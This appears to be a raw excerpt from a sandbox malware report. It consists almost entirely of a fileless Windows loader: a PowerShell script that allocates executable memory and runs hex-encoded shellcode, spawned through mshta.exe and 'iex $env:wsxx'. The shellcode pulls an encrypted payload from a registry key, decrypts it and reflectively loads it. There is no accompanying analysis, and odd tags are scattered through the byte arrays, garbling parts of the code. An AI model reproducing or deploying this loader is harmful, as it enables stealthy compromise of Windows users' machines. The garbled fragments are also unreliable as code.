0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF <#ctf#>0xFF 0x8A 0x04 0x30 <#blv#>0x8B 0x94 0x9D 0x00 <#py#>0xFB 0xFF 0xFF 0x03 0x94 0xBD <#td#>0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 <#ckb#>0x32 0x84 0x95 0x00 0xFB <#pie#>0xFF 0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 0x46 0xFF 0x8D 0x3C <#npr#>0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 0x8B 0x45 <#mkf#>0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 0x03 0xDB <#fw#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 0x6A <#niq#>0x00 0xFF 0x55 0xA8 <#do#>0x89 0x45 0xF8 0x83 0x7D 0xF8 <#qco#>0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B <#ewx#>0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF <#fs#>0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 <#oig#>0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 <#zbh#>0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 <#nq#>0x8B 0x40 0x50 0x03 0x45 <#sl#>0xF8 0x83 0xC0 0x04 0x50 <#cd#>0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF <#nqx#>0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 <#zo#>0x50 0x03 0x45 <#nuj#>0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F <#zwd#>0xB7 0x40 0x06 0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B <#py#>0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 <#se#>0x03 0xD1 0x89 0x95 0x50 <#ci#>0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B <#gxy#>0x52 0x10 0x52 0x8B 0x95 <#vt#>0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 <#jgp#>0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 <#hie#>0x0C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B 0x45 0xD0 0x8B <#cvx#>0x40 0x34 0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 <#yq#>0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 <#rs#>0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0xA0 <#xp#>0x00 <#tyi#>0x00 0x00 0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 <#drf#>0xEC 0x8B 0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 <#yuo#>0xD1 0xE8 0x48 0x85 0xC0 0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C <#ck#>0x8B 0xCA <#qw#>0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B 0x45 0xE8 <#dc#>0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B <#ch#>0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF <#ivw#>0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 <#yug#>0x03 0x45 0xEC 0x89 <#nmz#>0x45 0xEC 0x8B 0x45 0xEC <#vad#>0x83 0x38 0x00 0x77 0x8A 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 <#ztf#>0xF8 0x00 0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 <#pi#>0xD4 <#vf#>0x8B 0x40 0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF <#tnn#>0xFF 0xFF 0x8B 0x45 0xD0 0x05 0x80 0x00 <#xye#>0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 <#wm#>0x78 <#pnf#>0x04 0x00 0x0F <#eda#>0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D 0xF8 0x57 0xFF 0x55 <#pq#>0xBC 0x8B 0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 0xF8 0x89 0x45 0x88 0xEB 0x0C <#sdh#>0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x84 0xEB 0x37 <#mg#>0x8B 0x45 0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 <#qxx#>0x53 <#ao#>0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0x83 0x45 0x88 <#qkv#>0x04 0x83 0x45 0x84 0x04 0x8B 0x45 0x88 0x83 0x38 <#gve#>0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 0x8C 0x8B 0x78 0x0C 0x85 <#mnr#>0xFF 0x0F 0x85 0x73 0xFF <#bje#>0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E <#gpa#>0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 <#kwm#>0x61 0x72 0x65 0x5C 0x4F 0x33 0x5A 0x41 0x43 <#bn#>0x38 0x70 0x36 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#ag#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#kz#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#hyn#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#bvm#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x30 0x34 0x61 0x37 0x64 0x53 0x48 <#rhf#>0x54 0x32 0x35 0x00 0x00 <#bu#>0x00 0x00 0x00 0x00 0x00 0x17 0x34 0x73 0x1E 0x80 0xDC 0x47 0xFC 0x7D 0x0F 0xF3 0x95 0xC8 0xEA 0x03 <#nw#>0x33 0x83 0x02 0xD6 0xED <#yed#>0xBD 0x88 0x9E 0x60 0xD4 0x9C 0x04 0x00 0x00 0x00 <#mr#>0x00 0x00 <#ix#>0x00 0x00 <#eke#>0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#epk#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1B 0x00 0x00 <#ekx#>0x00 0x00 0xAA 0x06 0x00 <#mnx#>0x55 0x8B 0xEC 0x60 <#uyd#>0x8B 0x7D 0x08 0x8B 0x75 0x0C 0x8B 0x4D 0x10 0xF3 0xA4 <#zrh#>0x61 0x5D 0xC2 0x0C 0x00 0x7D 0x80 0x33 0x61 0x92 0x23 0x74 <#hb#>0x97 0x06 0x11 0x9F 0x37 0xFE 0xCF 0x24 0x5F 0x77 0x04 0x8B 0x05 0x6B 0x61 0x0D 0x94 0x78 0x09 0x61 0xC3 0x4A 0xD9 0x3E 0x9B 0x5B 0x6A 0x21 0x2E 0xDB 0xA3 0x5B 0x80 0xBE 0x48 0x8A 0x8E 0x42 0xD0 0xE6 0x89 0x84 0x66 0x16 0x9D <#je#>0xDB 0xF3 0x6B 0xE6 0x19 0x85 0xC2 0x73 0xEE 0x7D 0x67 0x62 0x07 0x4D 0xA7 0x86 0xA9 0xB5 0x0F 0x28 0xDC 0xCC 0x64 0xB9 0x70 0x3B 0xE2 0xA4 0x62 0x7F 0x56 <#ia#>0x80 0x79 0x19 0x0A 0x62 0x1E 0xEF 0xA6 0x07 0xB9 0x67 0x88 0x09 0x2C; #wclodbjyvw $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #yxhcblswn if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #bcdqfjo for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #etsrljct ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #cfqvfpmslt }sleep(1200);}catch{}exit; #iqvpl #vaopbx")44:T49c9,Spawned process "mshta.exe" with commandline "javascript:wULGQ7cv="i";oP25=new%20ActiveXObject("WScript.Shell" ..." (UID: 00000000-00003516) Spawned process "powershell.exe" with commandline "iex $env:wsxx" (UID: 00000000-00003436, Additional Context: "#qfhoxbe sleep(15);try{ #skrw function gdelegate{ #pfgawpxmh Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #jcgapwmuqm $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #ivphaiwf $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #aoxyech $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #lepbihus return $TypeBuilder.CreateType();} #btjhd function gproc{ #uxuy Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #zmomkv $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #xynbxhjb $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #pvwb return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #evfgegxwm [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 0x8B 0x52 <#hoh#>0x30 0x8B 0x52 0x0C 0x8B 0x52 0x14 <#iox#>0x8B 0x72 0x28 <#fa#>0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 0xFF 0x5B 0xBC 0x4A 0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F 0x5E 0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 <#wx#>0x01 0x00 <#zq#>0x00 0x8B 0x45 0xD0 <#xpo#>0x8B 0x40 0x78 0x03 0x45 0xFC 0x89 0x45 0xCC <#ui#>0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF <#vbu#>0xFF 0x33 0xF6 0x8B 0x45 <#skr#>0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 <#wxk#>0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 <#yed#>0x13 0x54 <#xp#>0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC <#pa#>0x81 0x39 0x4C <#lia#>0x6F 0x61 0x64 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 <#dr#>0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 <#ych#>0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 <#yn#>0xCC <#sxp#>0x8B <#iv#>0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 <#ie#>0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 <#al#>0x03 0xD0 <#lfq#>0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 0x72 0x65 0x75 0x40 0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 <#ig#>0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#az#>0x00 0x8B 0x55 <#ipb#>0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 <#mvj#>0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 <#tj#>0x6C 0x6C 0x6F 0x63 <#ht#>0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 <#oki#>0xFC 0x33 0xD2 0x52 <#fi#>0x50 0x8B 0xC6 0x03 <#ksb#>0xC0 0x99 0x03 0x04 0x24 0x13 <#vo#>0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 <#zh#>0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 <#riw#>0x45 <#dw#>0xA8 0x81 0x39 0x45 0x78 0x69 <#fdq#>0x74 0x75 <#ieh#>0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 0x50 <#jo#>0x8D 0x41 0x09 0x80 0x38 0x73 0x75 <#qp#>0x48 <#yi#>0x8D 0x41 0x0A 0x80 0x38 0x73 <#td#>0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 <#yxw#>0x75 0x38 0x8B <#oeo#>0x45 0xCC 0x8B 0x40 0x24 0x03 <#jn#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 <#tl#>0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 <#djq#>0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF <#tc#>0xFF 0xFF 0x69 0xC6 <#myp#>0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF <#cnl#>0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 <#owk#>0x8D 0x85 0x2F 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 <#xlr#>0xA4 0x89 <#zt#>0x5D 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 <#xzh#>0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 0x45 0xCC 0x8B <#kdl#>0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 <#ft#>0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 <#fbb#>0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 <#eue#>0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 0x41 0x75 0x3D 0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 <#doc#>0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 <#ez#>0x03 <#vq#>0xC0 <#ue#>0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 <#czu#>0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 <#ix#>0x45 0xB0 0x81 0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 <#yqh#>0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 0x56 0x61 0x6C 0x75 0x75 <#yos#>0x48 <#he#>0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#xh#>0xC3 0x33 0xD2 0x52 0x50 <#bwt#>0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#pd#>0x00 0x8B 0x55 0xCC <#gn#>0x8B 0x52 0x1C 0x03 0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#cqz#>0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 0x89 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF <#jea#>0xFF 0xFF 0x05 0xE4 0x00 <#fa#>0x00 0x00 0x89 0x85 0x78 0xFF 0xFF <#bea#>0xFF 0x33 0xDB 0x33 0xC0 <#mbk#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 <#du#>0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 <#qll#>0x8B 0x85 0x7C <#mad#>0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 <#uuq#>0x00 0x30 <#vnr#>0x00 0x00 0x8B <#hum#>0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF <#hun#>0x55 0xA8 0x89 0x85 0x64 <#nag#>0xFF 0xFF 0xFF 0x83 0xBD 0x64 <#qy#>0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 <#ue#>0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 <#lh#>0x8B 0x85 <#zl#>0x70 0xFF <#wm#>0xFF <#pci#>0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF <#lfb#>0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#is#>0x50 <#to#>0x68 <#ybv#>0x01 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 <#fmy#>0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#yh#>0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF <#oz#>0xFF 0xFF <#jh#>0x50 0xFF 0x55 0xAC 0x85 <#oi#>0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#jsu#>0x89 <#mm#>0x85 0x64 <#rq#>0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF <#sv#>0xFF <#qjn#>0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 <#ivm#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 <#tc#>0x70 0xFF 0xFF 0xFF <#yqj#>0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x84 <#nd#>0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 <#vpy#>0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#qyp#>0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF <#rfq#>0xFF 0x50 <#pv#>0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 <#hzg#>0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 <#ga#>0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C <#pi#>0xFF 0xFF <#fh#>0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 0xF7 0xF7 0x33 0xC0 0x8A 0x84 0x15 0x00 